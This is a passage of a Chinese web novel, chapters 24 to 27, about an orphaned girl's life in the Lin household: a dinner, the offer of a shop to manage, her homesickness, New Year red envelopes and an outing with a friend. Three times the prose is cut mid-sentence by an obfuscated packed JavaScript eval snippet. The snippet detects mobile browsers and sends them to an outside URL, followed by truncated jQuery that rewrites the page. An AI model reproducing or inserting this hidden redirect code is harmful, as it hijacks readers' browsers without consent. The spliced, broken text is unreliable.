一听到有好吃的，白栖枝两眼放光，差点就要扑到沈忘尘身上抱着他跳起来了，不过沈忘尘身子不好也经不起她那么折腾，白栖枝只好收敛了自己开心的心，甜甜一笑道： “多谢沈哥哥！” …… 24. 劝说 饭桌上，还是原来的老样子，只是沈忘尘大病初愈吃得勉强，时不时还要咳上一阵儿，吓得身旁两人赶紧端茶倒水忙个不停。 比起上次，同样的场景，白栖枝显然放松多了，但也没有太多。 毕竟昔日场景仍历历在目，她记性太好，就算想忘也忘不掉。 沈忘尘咳的厉害，舀着粥的手也跟着发颤，一个没拿稳装着粥的勺子掉进碗里，溅起一大片粥液落到他衣裳上。 这下算是在孩子面前失了脸面。 沈忘尘：“……” 林听澜：“……” 白栖枝：啊！ 见两道目光射来，白栖枝赶紧将头撇向一边，又忍不住偷偷回看，见两人还在看着自己，又将头撇向另一边，时不时用余光偷偷看一眼，很忙的样子。 桌上没有手帕，林听澜也不像是随身会带手帕的样子，正在他全身上下摸索看自己有没有无意间在衣服里揣手帕的时候，就见着白栖枝从胸口处掏出一块新手帕抖了一下，小心翼翼地递上前来。 “我这里……有。” 林听澜顺手就拿来擦来擦去。 白栖枝背对着两人对手指，身后时不时还传来沈忘尘的几声低咳。 白栖枝觉得自己好尴尬啊…… “转过来吧。”随着林听澜的一声唤，白栖枝转过头，却发现自己那块新帕子不见了。 见她用目光去寻，林听澜道：“那帕子脏了，我给扔了，改日再给你买一个。” 白栖枝：呜呜呜呜…… 那是她自己赚钱自己买来的东西，他怎么可以、怎么可以说扔就扔了，好过分…… 但现场还有沈忘尘在，白栖枝不好哭，就一直咬着红润晶莹的下唇忍着、忍着，忍到最后沈忘尘都看不下去了，赶紧开口哄道：“别哭别哭，没有扔呢，只是方才弄脏了，等沈哥哥让下人们洗好了再还给枝枝，好不好？”说完又瞥了林听澜，娇嗔道，“好端端的，你气人家做什么？拿出来。” 林听澜认怂，乖乖从桌子下把手拿出来，亮出那块沾了粥液的手帕，撇了撇嘴：“这不是想逗逗她么，谁知道她这么不经逗……” 白栖枝：这人果然是坏人…… 虽说出了这么出闹剧，但好在没有影响三人的胃口。 白栖枝这次可真是吃得饱饱的，甚至还用手摸摸自己圆滚滚的小肚子，开心得小尾巴都要翘上了天。 见她如此满足，林听澜与沈忘尘相视一眼，这才对她说道：“对了，你沈哥哥方才同我说了，他想年后把名下的一间铺子交由你打理。” 这话吓得白栖枝打了个饱嗝。 她赶紧捂住嘴，左回头、右回头，见四下无人，这才极不确定地颤颤巍巍伸出食指指向自己，一脸茫然：“我吗？” 沈忘尘微笑着点点头。 白栖枝在心里抱头缩成一团。 天知道沈哥哥是不是病糊涂了，居然真的把铺子交给她打理，她又没干过这个，去了岂不是就往赔了干？ 哦！难不成这又是林听澜的什么诡计？他看她不爽想要把她撵出府去，却又怕和沈哥哥发生口角，这才让什么都不会的她去打理铺子，若她打理的不好，沈哥哥自然会对她失望，这样她在林府唯一的靠山就没有了，林听澜就可以随意处置她了。 唔……好坏……林听澜是大坏蛋！ 白栖枝哭哭脸。 知她害怕，沈忘尘耐心解释道：“并不是林哥哥在难为枝枝，是沈哥哥的主意。” 白栖枝：果然！沈哥哥被热症烧坏脑子了，好可怜…… 面对小孩子，沈忘尘总是有十成十的耐心，若不是他身体不便，恐怕就要掐着白栖枝的咯吱窝把她抱到自己腿上安抚了。 “枝枝是个聪明的小姑娘。”他道，“现如今枝枝已在沈哥哥这里学了许多，可千里之行始于足下，纸上谈兵要不得，总要试着‘知行合一’不是？枝枝别怕，不过是个小胭脂铺子罢了，更何况铺子里的都是都是老人了，枝枝若是有什么不懂的也可以朝他们请教一二，总比一直跟着沈哥哥学书本上的道理要来得好。” 沈忘尘说得：铺子里的都是老人。 白栖枝理解的：全是林府的眼线，如果做不好指定没你好果子吃。 白栖枝：呜呜呜呜，更可怕了…… 见白栖枝还是一副惶悚不安，沈忘尘朝林听澜看了一眼。 相爱多年，这点眼力见儿林听澜还是有的。 知道自己又要唱红脸，他叹了口气，立即沉下脸来，说道：“忘尘，你瞧她这幅胆小如鼠的样子，交给她她也未必能做的好，左右我林家家大业大，养她这么个闲人也不是养不起。大不了等年后我给他介绍我身边的那些兄弟，左右她长得还算能勉强入眼，到时候随便许一个，用她的彩礼钱来还她留在我林家这些日子吃住的债也不是不可以。” 一番话，听得白栖枝想尖叫。 她又不是见没见过林听澜那些朋友们，甚至有一个大庭广众之下还捏了她的屁股！这样的人，她若是嫁过去，这辈子就毁了！况且林听澜还这么有钱，就算她跑到天涯海角他都能找人抓到她，到时候，等着她的指不定是什么呢！ 这个没法说，这是真坏人。 白栖枝登时就要淌起泪花来。 “我、我才不要嫁！” 她一开口，一颗比金豆子还大的眼泪就从眼眶里跌出来。 白栖枝狠狠抹了泪，硬气道：“你说我做不好，我便偏要做给你看！没做过也没关系，我一点点看、一点点学总有一日能学会的，我才不要嫁给他们！我才不！他们会捏我屁股……呜呜呜。” 林听澜本来心里还在得意，听到最后一句话，立马心虚起来，眼神“唰”地看向沈忘尘。 后者依旧噙着笑看着，但这笑里好像隐隐地藏了一把刀，直戳人心窝窝。 林听澜暗叫不好——这是冲着他来了。 果然，沈忘尘安慰了一会儿白栖枝，就请她去厅里小坐一会儿。 白栖枝脸上还挂着泪珠，听完乖顺地点了点头，去厅中小坐，但坐了一会儿还是止不住好奇地贴着耳朵偷听了一下。 只听屋里林听澜一声迭一声地认错道歉，甚至还像小孩子似的朝着沈忘尘撒娇讨饶。 白栖枝没忍住，捂住嘴“嘻”地暗笑了一下。 ——果然坏人自有好人磨！沈哥哥实在是太厉害了。 不久，白栖枝就又被叫进去了。 进屋的第一眼，她就看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795385|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林听澜跪在地上小媳妇似得给沈忘尘捶腿。 两人四目相对。 白栖枝赶紧转着圈地看屋内陈设，一副很忙的样子。 林听澜赶紧从地上起身，拍了拍膝上的灰尘，右手虚握成拳抵在嘴边重重咳了。 “吭！” 白栖枝回过身来看向两人。 林听澜耳尖红红的：“总之，年关之后你就跟着你沈哥哥好好干，若是干得不好，我可是要罚你的。” 白栖枝听完，食指戳着下巴望天想了一会儿，回过神来：“哦，激将法。” 林听澜：“……”被看穿了！ 白栖枝：“哦……所以从之前那段开始一直都是？” 林听澜：“……”完全被看穿了！自己的障眼法竟如此拙劣？！ “不过话说回来……”白栖枝又戳着自己的下巴想了一会儿，放下手，端正的站在离两人不算远也不算近的地方疑惑问道，“为什么呢？明明我此前从没做过这档子事，为什么沈哥哥如此信我，还将手中的铺子交给我打理？” 沈忘尘墨澈双眼里温柔的笑意愈发浓重：“自是因为枝枝——” “冰雪聪明。” * 不日，沈忘尘的身体终于好了个爽利。 只是年关既近，他才好不久就越发地忙了起来。 林家与多家商户、官府都有交情，如今春节既近，自然要备礼上下打点关系笼络人情，加之还要清点这一年来的账目，无数担子押在沈忘尘这个名不存但实为之的当家夫郎身上，自然忙得废寝忘食、食不知味。 白栖枝这几日也拿着他送的那把小算盘在旁边帮忙清点账目，算珠都要打出火星子了。 不过她还有一件更重要的事，那就是替整日外头谈生意的林听澜监督沈忘尘休息。 于是书房里就会出现这样的一幕—— 沈忘尘刚放下书本头痛地捏眉心，就被白栖枝推到一旁休息，喝茶吃小点心，顺便听小姑娘噼里啪啦打算珠，哗啦哗啦翻账簿。 等到半炷香过后，小姑娘才会“哒哒哒”地跑来费力把他推回去，好叫他不要着急。 两人一日三餐大多也是在书房用的，沈忘尘吃得还是那些，但白栖枝吃得就比较简陋了，大多数都是些糕饼馍馍之类的，一边吃一边打算珠，看得沈忘尘都不忍心了，叫她一起来吃点东西，但白栖枝总是会笑眯眯地婉拒道：“没关系，手里有个热乎乎的馍比什么都重要！” 一开始沈忘尘还能拿出师长、长兄的身份连哄带吓地阻止她，但次数多了，小姑娘也禁得住吓了，就算他把嘴皮子磨破她也无动于衷，跟个小香漏似得定时定点来推他去休息，他佯装生气，小姑娘就泪眼汪汪地朝着他撒娇，弄得他的心比阳春三月的春水还要柔。恼得沈忘尘总是朝林听澜抱怨他太使赖，叫那么个小姑娘来“威胁”他，搞得他这个兄长都拉不下面子。 可这不就是林听澜想要的么？ 哑声叹了口气，沈忘尘又回头看向还在叼着冒着热气的馒头、一手拨算珠一手记账的白栖枝，抿了口瓷勺里温热的白粥，皱着眉，笑了—— 傻丫头……沈哥哥可是有私心的。 你又何必如此为了我卖力呢？ …… 25. 想家 林听澜是近夜里才回来的，见书房的灯还亮着，有些不悦但进门后还是先烤了火才向沈忘尘走去。 白栖枝此时正趴在榻上核对剩余的账目，见了他来，故意没吭声，哑巴着，朝关合的窗户那边看，极力降低自己的存在感。 “回来了？”沈忘尘也是倦极，见他回来合了账目疲惫地笑了下，“往各老板、各大人家要送的利已经备好了，一年的账目也都核对好了，你敲敲？” 说着，将桌上鲜红的账簿轻轻往他那推了推。 林听澜眼下没心思看，把凳子往沈忘尘身边儿一拉，拖住沈忘尘的脖颈和腿弯，只一抬，就将沈忘尘轻轻松松地抱到自己身上，摸了摸他纤细的腰部，果然是僵硬的。 沈忘尘推了他一下，轻声道：“别闹，枝枝还在呢。” 白栖枝：枝枝什么都不知道哦……这窗户真好看，再看一遍。 林听澜哪管什么枝不枝的，伸手就为沈忘尘轻轻揉着后腰，眼底满是心疼。 沈忘尘的腰现在疼得厉害，被这么一碰，就跟针扎似得，痛得他要紧下唇软肉不敢出声呼通。 林听澜心疼他，手上减了力道。 沈忘尘将桌上的账簿递给他瞧：“大致的我已安排好了，你看看，还有没有什么不妥？” 趁着白栖枝还跪在榻上看窗户，偷偷在他眉心啄了一下，做着口型，发着气音道：“你做事，我总归是放心的。” 白栖枝：他们在做什么？怎么没声音了？好想回去啊…… 但现在开口提回去，总归是不合适，白栖枝跪得膝盖都有些痛了。 忽地，身后传来衣袍抖落的声音，随即，就听着林听澜不温不火道：“我先送你沈哥哥回房休息，算完这些账目，你也早些回去吧。” “哦。”白栖枝不敢回头，应道，“好的……” 她甚至话才说到一半，林听澜就走了，地上甚至没有咕噜碾过的声音。 待两人走后，白栖枝才往后瞧—— 轮椅！轮椅！你把轮椅落这儿了！！！ 难不成……要她……推过去？ 太残酷了…… 白栖枝摇摇头，不再去看，低头继续算着。 果然，不过一会儿林听澜便匆匆地来了，随后又推着轮椅匆匆地走了。 白栖枝核对账本核对到夜都深了。 沈忘尘说的不错，年关前的账目都核对完了，这是今天下午丫鬟们刚送来的，是年关采买时物件儿的账簿，她怕沈忘尘身体不堪劳累，便大包大揽地全都堆到自己怀里，生怕累着他。 白栖枝穿好斗篷，灭了火盆吹了灯，这才离开书房。 外头天黑得怕人，白栖枝手里又没有提灯，只能凭着感觉往外走。 雪还在密密麻麻地下。 白栖枝想抬头看看月亮，可今夜竟是连月亮都没有了。 没有月亮，自然也就没有星星，没有星星她自然也就看不见阿爹阿娘和阿兄了。 明天就是年节了，往年这个时候阿爹阿娘和阿兄都会在府里欢欢喜喜地陪着她一起准备过年吧？ 阿娘的手很巧，会编好多好看的同心结和手串，她自己一个，阿爹一个，阿兄一个，还有枝枝一个，还可以赏给下人几个，大家都很喜欢阿娘编的小玩意儿…… 阿爹的字很好看，往年的桃符春联都是阿爹亲手写的，有好多人会在年节前提着礼求着他写一副呢！可是阿爹什么都不要。阿爹是高兴给大家写的，所以他什么都不要…… 至于阿兄，阿兄他笨笨的，倒也不会什么，这一天应该会跑出去和他的同窗们游玩吧？但是阿兄也很好，阿兄会趁着夜半她熟睡时偷偷在她枕头底下塞包了金锞子的红包。阿爹管得严，阿兄也没有多少钱，这些钱都是他平时自己攒的，他绝对是天下最好的兄长了！ 白栖枝就这样想着、想着，眼底就想出了泪花花。 此时四下无人，她看着漫天纷飞的大雪，终于颤颤地说出了那句一直藏在她心底的话—— “我想……回家……” 不可以哭，天很冷，哭出来眼泪会冻住的。 可是！ 我想回家…… 枝枝想回家…… 阿娘阿爹阿兄，枝枝好想你们啊…… 今天真的是很累了，累到一直压抑着的情绪都在此刻喷薄而出。 白栖枝不敢哭。 她咬着唇，咬出了血，可是眼泪怎么还在往下掉啊！ 怎么眼泪真的会被冻住啊…… 白栖枝是一路哭着回到后覃房的，她以为回来就可以不哭了的，可是看着空荡荡的房间，她反倒哭得更伤心了。 据说惨死的人是不会到地府投胎的，他们会化作孤魂野鬼一直在世间游荡，直到怨气消失。 所以，阿娘阿爹和阿兄一定是小气鬼，明明都化作鬼魂了，怎么一次也不来她梦里看她啊？ 他们甚至都没有来问她过得好不好、累不累、有没有想他们。 他们……他们是不要枝枝了吗？ 白栖枝咬着唇，几乎哭得喘不上气。 她赶紧简单洗漱了一番，脱好衣服，钻进被子里，把自己裹成紧紧的一团，这才敢放声大哭。 她哭得好伤心，不一会儿就累得眼睛也睁不开了。 白栖枝不敢再哭了，她怕明天眼睛肿就得被林听澜和沈忘尘看出来了。 于是她狠狠抹了两把泪，探出小脑袋，把自己裹得严严实实的，想了想，又伸出手隔着被子拍了拍自己，轻声哄道： “也许……也许阿娘阿爹和阿兄也很想我呢！只是惨死之人死后会被困在原地，不让他们应该早就看我来了，我以后一定要好好赚钱，等赚得多了我就请人为我阿娘阿爹和阿兄翻案，到时候我就能光明正大的回家了，阿娘他们也不用再被困在原地了。一定是这样的，今夜就先想到这里吧，好好地睡，没准明天还要干活呢……” “嗯，就先这样吧。” “睡吧。” * “放好了么？放好了快出来，一会儿该醒了。” “快了快了，瞧她这样昨天肯定是想家偷偷哭了，一时半会儿醒不来呢！” “唉……可怜的孩子，这样能行么？” “能行的，以前过年她就是这么朝我炫耀的……哎呦！哎呦！她好像要醒，走了走了走了！” 白栖枝是被烟花爆竹声吵醒的。 今天是春节，外头好热闹，估计又要有的忙了。 睡眼惺忪，白栖枝揉了揉眼睛，又瘫在床上抻了个舒服的懒腰，手刚舒展到枕头下面，就摸到了一个硬硬的东西。 白栖枝起身掀开枕头一瞧，是两个大大的红包。 她打开一瞧，里面是各种形状的金锞子，倒出来一看，上面还刻有“笔锭如意”、“吉祥纳福”等字样。 看起来好值钱的样子…… 就在这时，门口突然响起三声敲门声，白栖枝赶紧把金锞子放回去包好塞到枕头底下。 “来了！”她走得急，顾不得穿鞋，趿拉着鞋过去的。 她没缠过足，他阿爹阿娘不喜欢她也不喜欢，但她的脚也还是小，还没林听澜一个巴掌大。 开门，是沈忘尘和林听澜两人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799761|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人装作刚到的样子。 “新年快乐。”“枝枝新年快乐。”两人异口同声道。 白栖枝先是愣了一下，旋即绽开了个大大的笑脸：“沈哥哥林哥哥新年好，外面好冷，快进来快进来！” “不冷。”沈忘尘吸了吸冻得通红的鼻尖，笑道，“我和你林哥哥也是刚到，倒是枝枝，穿的这么少，不会冷吗？” 此话一出，白栖枝这才反应过来自己只穿着里衣，甚至忘了披衣服，不好意思地低头嘿嘿一笑。 但她也存了个心眼，朝沈忘尘身后偷看了一眼。 明明说是刚到，都雪埋车辙了，好拙劣的谎言…… 见她往外头看，林听澜身形一动，稳稳挡住，随即推着沈忘尘缓缓进入，关好门，大摇大摆地走了进来。 屋里白栖枝擦了擦火折子将炭盆点上，自己则缩到被子里用被裹住自己，坐在床上笑眯眯地朝两人瞧：“沈哥哥林哥哥怎么想着到这里来了呀？” 林听澜咳了一声，煞有介事道：“这是林府，我自然想来就来。” 白栖枝的笑顿时僵在脸上。 这有点过分了……沈忘尘面上仍是笑眯眯的，伸出手，掐了林听澜一把，只是他手没力气，掐跟挠痒痒似得，但林听澜还是感觉到了。 方才那话，林听澜自己也觉得有点过了，放缓了语气道：“也没什么，今天是春节，你沈哥哥说要给你放一天假，让你出去玩玩，透透气，没了。” 没了？ 白栖枝松了口气——她还以为要有好多好多的活儿要干呢。 正想着，她又见沈忘尘掐了林听澜一把。 林听澜又从怀中掏出了个红包，又虚握成拳抵在嘴边，张口，勉强了一下，又合上了，但又在沈忘尘“和善一戳”下再次开口：“那个……这个……咳……给你的红包，拿着吧。” 白栖枝：哎？我吗？ 正在她惊讶之时，沈忘尘也从自己的狐皮大氅中掏出个红包来：“枝枝新年快乐。” 白栖枝惊得说不出话。 瞧她这样，饶是运筹帷幄如沈忘尘心里也不禁有些打鼓——从前在沈府，他素来与兄弟们不亲，更别提见过什么子侄。他也是第一次带小孩，第一次和除了林听澜以外的小孩儿过年，还是个小姑娘，故有些紧张，白嫩的手心里都出了细密的汗。 “哎？我……给我的吗？”白栖枝还像在梦里一样，飘飘悠悠的感到不真实，“可是，可是沈哥哥和林哥哥不是已经送过了嘛？这里——” 她说着，将小枕头一掀，底下是两个大大的红包。 “不是我。”林听澜僵硬的瞥过眼。 “也不是我喔。”沈忘尘笑得柔和似水，“沈哥哥的腿不能动，不可能偷偷跑过来在枝枝枕头底下放这些东西。”说完，又佯装疑惑道，“哎呀，到底是谁放的呢？” 白栖枝：嗯……就是……有没有一种可能……沈哥哥你装得有点过了？ 就在她纳罕之时，沈忘尘的手轻轻落在她的发顶上。 他轻轻揉了揉，温声道：“没准是枝枝的家人趁着夜深偷偷来看枝枝了呢。” 一句话，直接戳白栖枝肺管子了。 白栖枝好想哭，但今天是个快乐的日子，她不能哭！绝对绝对不能哭！ 就在她很努力地忍着的时候，两只捏着红包、骨节分明的手一齐伸到了她面前，两人再次异口同声道： “白栖枝……”“枝枝……” “新年快乐。” 白栖枝几乎要落下泪来：“嗯！新年快乐！” 新年…… 快乐…… 26. 新年 看着白栖枝笑盈盈地收下红包，林听澜也算是松了口气—— 这事儿都是忘尘年前一手筹备的，都说每逢佳节倍思亲，他怕白栖枝过年时太想家，这才拉着他一起想办法。 其实林听澜也没什么办法，他小时候实在是太讨厌白栖枝了，以至于经常不把她当回事儿。不过说彻底没办法也不对，毕竟那人小尾巴似得在他屁股后面转悠了那么多年，到底还是能给他留下几分印象。 所以当忘尘问他的时候，他脑海里就只有几个琐碎的片段，其中最深刻的，就是他爹娘带他去白府拜年时，私下里，白栖枝会偷偷给他看她阿兄给她的金锞子， 那东西又不值钱，小小的林听澜并不把那物件儿放在眼里，但是…… 他阿爹阿娘好像还从未送过他这等小玩意。 俗话说得好：越是得不到的就越是心痒。 就这样痒痒着、痒痒着，林听澜就把这事儿记下来了，经常在爹娘面前有意无意地提起，结果他人生中第一次收到金锞子还是沈忘尘送给他的。 思绪飘回，林听澜看着小脸笑得团乎乎的白栖枝，说不嫉妒她是假的，可若是说嫉妒，她如今又有什么值得他去嫉妒的呢？她明明什么都没了，柔弱得跟水磨的豆腐一样，一个指头就能戳得稀巴烂…… “对了。”见白栖枝如此开心，沈忘尘唇瓣的弧度也忍不住上扬了扬。 他从怀中缓缓掏出一锭银元宝，作势就要往白栖枝手里塞，吓得后者赶紧往后缩缩缩…… “给她这么多钱做什么？”林听澜有些不悦。 他并不喜欢让白栖枝手里有过多的钱财：一来，她手里有了钱，脑袋里不知道会生出什么奇奇怪怪的念头，若再像之前那样跑出去摆摊，林家的脸岂不是被她丢光了？至于着二来…… 说起来有些气短，现如今白栖枝不过刚到豆蔻梢头，心思单纯、手中又无一物能安身立命，凭着这两点，他还能时不时地威胁威胁她。可若是她手里有了钱，翅膀一下子硬了起来，岂不是不好被他掌控？ 明明已经是二十出头的人了，却连个十三四岁的黄毛小丫头都搞不定，传出去岂不是要叫人笑掉大牙？ 林听澜脸皮薄，经不得被这么嘲笑，于是在沈忘尘要把那一锭银元宝往白栖枝怀里塞的时候，他立马上前阻止：“她一个小丫头，拿着这么多的钱做什么？忘尘你也是，别把她给宠坏了。” 虽是责备之语，但被林听澜说得极为柔和，丝毫听不出愠意。 见着，白栖枝也跟着点头附和道：“是的是的！枝枝不需要这么多钱的，枝枝有钱的！” 说完，她从被子里钻出来，来到柜子旁踮脚奋力够着，挥舞着手臂划拉了两下，从上面掏出个圆鼓鼓的大荷包。 “看！枝枝有钱的，这些都是枝枝自己赚的！”她说着，如珍似宝地打开展示给两人看，骄傲道，“枝枝也很厉害！对不对？” 荷包里有银票有铜板，零零碎碎的，倒是也够她买点零嘴打发时间，可若说是卖点其他东西就…… 林听澜是素来看不起这点钱的，在他眼中，这些钱给他的“烈风”买草料都不够，更别说是拿出去玩一天了，偏白栖枝还把它看得比命重，实在是令人费解。 相对的，比起林听澜，沈忘尘性格上好的一点就是他从来不会扫了别人的兴。 虽然他也知道这点钱在寸土寸金的淮安什么也做不了，但他还是笑着摸了摸白栖枝的头，温声道：“枝枝好厉害。” 没有什么祝福比这一句夸赞来得更加令白栖枝开心了！ 她得意洋洋地扬着头，任由沈忘尘抚摸，小鼻子耸了耸，鼻尖几乎要翘到天上去！ 可惜她没有长尾巴，不然现在肯定在“啪嗒啪嗒”地拍着床，朝沈忘尘摇来摇去。 “好了，天冷，小心着凉。”沈忘尘收了手，将被子一点点地披到白栖枝身上，为她掖好被角，又道，“枝枝还没在淮安过过年吧？今儿是春节，外头热闹的很，沈哥哥给枝枝放一天假，枝枝出去玩吧。” 白栖枝糯糯问道：“沈哥哥不出去吗？” 沈忘尘笑道：“我这副样子，怎么出得去？” 话音刚落，一滴温热就“啪嗒”掉在他的手背上，热得他心惊。 紧接着是第二滴、第三滴、第四滴…… 看着小姑娘透过泪眼一瞬不瞬地盯着自己看，沈忘尘哑然失笑，抬手捧起她的小脸用拇指为她揩眼泪，边揩，边轻声安慰道：“好了好了，好不容易过一次年呢，枝枝应该开开心心的，哭什么呢？” “可我心疼沈哥哥。” 带着哭腔的一句话落地，饶是沈忘尘也不由自主地顿了一下，连带着一贯如沐春风的笑脸上竟出现了一瞬间迷茫的空白。 只听白栖枝哽咽道：“今天明明是一年中街上最热闹、人最多的日子，可沈哥哥却不能出去玩，甚至连出去透口气都好难，枝枝心疼沈哥哥……” “傻孩子……别哭了，再哭眼睛就要肿了。”沈忘尘叹息般地开口，替她一点点擦去脸上的泪痕，耐心地一点点温声哄道，“不是沈哥哥不能出去，是沈哥哥不愿意出去，外面太闹了，沈哥哥喜静，这才不想出去，并不是枝枝想的那样哦。” “真的？”白栖枝抬头，正对上沈忘尘那双如茶雾般捉摸不透却又总是笑意盈盈的桃花眼。 沈忘尘：“真的。” 白栖枝这才将将止住眼泪，捏着衣袖压了压眼睛，顺便摸一摸自己的眼皮是不是真的哭肿了。 “那……那我会早点回来的，我会给沈哥哥带好多好多好多好吃的的。”她信誓旦旦道。 沈忘尘笑道：“好，那沈哥哥等着枝枝回来。”说完，又从袖子里摸了摸，摸出几张银票趁着白栖枝擦眼泪时偷偷塞进她的小荷包里，温声道，“对了，枝枝上次回来时不是还约了好友日后一起出去玩么？如果枝枝实在是觉得独自一人太过无聊，也可以去找你那位小友一起呀。” 他说得气定神闲，倒是一直站在旁边的林听澜有些站不住了，想要上前，却被沈忘尘一个眼神扫回原地。 沈忘尘一下下地抚摸着白栖枝的后脑勺，细心安抚道：“不过呢，枝枝要答应沈哥哥，天黑之前一定要快快回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804816|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不让沈哥哥和你林哥哥回担心你的，知道了么？” 白栖枝一口答应下来。 看着小姑娘言笑晏晏的模样，沈忘尘只觉得自己心中积压了多年的郁气被扫落了一瞬。 他温和道：“那枝枝好好梳洗，沈哥哥和林哥哥还有事要忙，就先走了。” “嗯嗯！沈哥哥注意身体，林哥哥也……呃……注意沈哥哥的身体！” 门被“吱呀”一声关合。 今日细雪无风。 林听澜站在檐下，伸手拨开沈忘尘散乱在白腻脖颈后的如墨长发，为他系好斗篷，又蹲下帮他整理衣摆。 待到起身后，他在忍不住，开口问道：“忘尘，你真放心让她同那个宋二一起？毕竟是个小姑娘，若是被有心人传了闲话，岂不是……” 柔柔的白雾自两颊升腾而起。 沈忘尘搓了搓冻得僵冷的手，轻声道：“不会的，枝枝她自有分寸，定不会做出什么出格之举，更何况我与宋长卿相识时便见过他那位弟弟了，那人虽愚钝，但好在心思不坏，不会对枝枝如何的。况且——” 他顿了顿，看着眼前这幅落雪琉璃图伸手接来一片雪片，看它静静在掌心中融化后，才缓缓开口。 “况且，能与户部的二公子熟络熟络，不也是很好么？” …… 完蛋了！ 大街上，白栖枝漫无目的地走着。 上次她实在是太开心了，竟然忘了问恩人的府邸在哪里，搞得她只能在大街上像无头苍蝇似得乱寻，关键是还寻不到！ 真的完蛋了，明明还约好一起去吃好吃的来着，呜…… “咦？枝枝姑娘？” 身后不知从哪传来一声惊喜的呼唤，白栖枝转头四处寻找，找不到，又奋力踮起脚来寻。 “这里这里！！！”宋长宴几乎是拼了命地挥手。 他逆着前呼后拥人潮奋力来到白栖枝面前，还不忘理一理自己的衣衫，朝郑重她一礼，随即双眼放光，开心得几乎要蹦起来：“枝枝姑娘！” “恩人恩人！”白栖枝也高兴地几乎要蹦起来。 若不是男女授受不亲，恐怕这两只快乐的小没头脑就要牵着手在大街上转圈圈了。 “实在是好巧！我刚约了同几位同窗去别院游玩，结果刚一转身，一眼就看见枝枝姑娘你了，实在是太有缘了！” 听宋长宴这么一说，白栖枝的心忽地“咯噔”一声，竟生出几分失落来。 但她仍是笑道：“是呀真的好有缘！我也是刚来这边逛逛，没想到一下子就碰到恩人了，好巧好巧！不过既然恩人约了同窗们一起玩，那枝枝就不多打扰恩人了，恩人快去玩吧！记得要开心喔！” “咦？枝枝姑娘不来吗？”一听白栖枝这么说，原本还在高兴的宋长宴一下子变得蔫蔫的，像一只被泼了冷水的大狗狗，“我本来还想去林府约枝枝姑娘你一起出来玩的，不过如果枝枝姑娘有事的话，还是枝枝姑娘的事比较重要，下次再约也是可以的……” 说完，竟摆出了一副失落的哭哭脸，看起来好不叫人怜惜。 27. 宴席 白栖枝没想到宋长宴竟是特地来约自己出来玩的，惊喜之余她又有点担心。 毕竟上次被林听澜那些狐朋狗友捏屁股的事还历历在目，每当想起来，白栖枝都感觉自己屁股上有一万只蚂蚁在爬！ 虽然说她知道恩人的朋友们也一定都是大好人，但是…… 还是有点怕怕的。 但恩人看起来好伤心哦，如果自己拒绝的话，感觉他下一秒就会哭出来哎…… “其实我也没有什么事啦。”白栖枝有些不好意思，低头看着裙摆下含羞带怯的脚尖，糯糯道，“只是我和恩人的朋友们都不认识，贸然前去，会不会太唐突了？” 宋长宴里面恍然大悟道：“原来枝枝姑娘是在担心这个！” 他笑道：“不会啦，大家都很好的，不会唐突的，而且我早在很久之前就和他们提起过枝枝姑娘，他们是知道枝枝姑娘的……哦！还是说枝枝姑娘是在担心席间只有您一个姑娘家，怕玩的不自在？这个也是不用担心的，我的一些同窗也会带家中姊妹来参宴的，到时候大家可以一起玩嘛！” 宋长宴说这话时一双狗狗眼亮晶晶的，如果他真是一只大狗狗的话，古今现在尾巴都要摇到天上去了。 见状，白栖枝再不忍心拒绝他，粲然一笑道：“好哦，那枝枝便先谢过恩人了！” “不过有一件事在下还是想和枝枝姑娘说一下。”宋长宴话锋一转，迟疑了一下，大方道，“枝枝姑娘总是恩人恩人的叫在下实在是有些不妥，我在家中排行第二，如若枝枝姑娘不嫌弃，同朋友们一样叫我宋二就好。” 这样直接称呼实在是有些太无礼了…… 白栖枝想了想，迟疑道：“宋二公子？宋兄？宋哥哥？” 宋家无千金，这还是宋长宴人生第一次被小姑娘叫做哥哥，白栖枝这一句“宋哥哥”听得他是心花怒放，几欲要流下泪来。 ——从今天开始我竟也是个有妹妹的人了！ 宋长宴内心激动得泪流满面。 他佯装镇定道：“那便由我来给枝枝姑娘引路吧，请随我来。” 两人从人潮中挤了一阵，又绕过好几个弯儿，终于来到宋家的一处别院外。 “笃——笃——笃！”敲门声两长一短。 很快，门渐渐打开。 门内两位丫鬟侍在一旁，见了宋长宴，欠身一礼道：“二公子。”说完，抬眸，见到站在一旁有些怯怯的白栖枝时不由得吃了一惊，却也很快将神色恢复如初，一齐做了个“请”的手势，恭敬道：“贵客请。” 白栖枝许久没做过“贵客”了，被两人这么一声唤，倒有些不好意思来，也朝两人行了一礼，差点吓得她们花容失色。 